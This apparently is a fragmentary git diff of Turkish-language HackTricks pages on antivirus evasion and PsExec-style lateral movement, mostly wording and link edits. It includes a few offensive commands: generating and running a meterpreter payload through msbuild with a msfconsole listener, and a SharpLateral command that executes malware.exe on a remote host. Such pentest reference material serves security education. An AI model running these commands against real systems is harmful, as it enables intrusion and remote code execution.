* Yardım için `winvnc -h` komutunu çalıştırmayın, aksi takdirde bir [popup](https://i.imgur.com/oc18wcu.png) tetiklersiniz
### GreatSCT
@ -410,7 +410,7 @@ sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole
```
Şimdi **lister'ı başlatın** `msfconsole -r file.rc` ile ve **xml yükünü** **çalıştırın**:
Şimdi **lister'ı başlatın** `msfconsole -r file.rc` ile ve **xml yükünü çalıştırın**:
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
```
@ -569,15 +569,15 @@ https://github.com/praetorian-code/vulcan
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hackleme kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı yazılı ve sözlü Lehçe gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -1,27 +1,25 @@
# PsExec/Winexec/ScExec
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Nasıl çalışırlar
Süreç, aşağıdaki adımlarda özetlenmiştir ve SMB üzerinden hedef makinede uzaktan yürütme sağlamak için hizmet ikili dosyalarının nasıl manipüle edildiğini göstermektedir:
Sürecin adımları aşağıda özetlenmiştir ve hizmet ikili dosyalarının, SMB üzerinden hedef makinede uzaktan yürütme sağlamak için nasıl manipüle edildiğini göstermektedir:
1. **Bir hizmet ikili dosyasının ADMIN$ paylaşımına SMB üzerinden kopyalanması** gerçekleştirilir.
2. **Uzaktaki makinede bir hizmetin oluşturulması**, ikili dosyaya işaret edilerek yapılır.
@ -54,13 +52,11 @@ SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
```
{% endcode %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>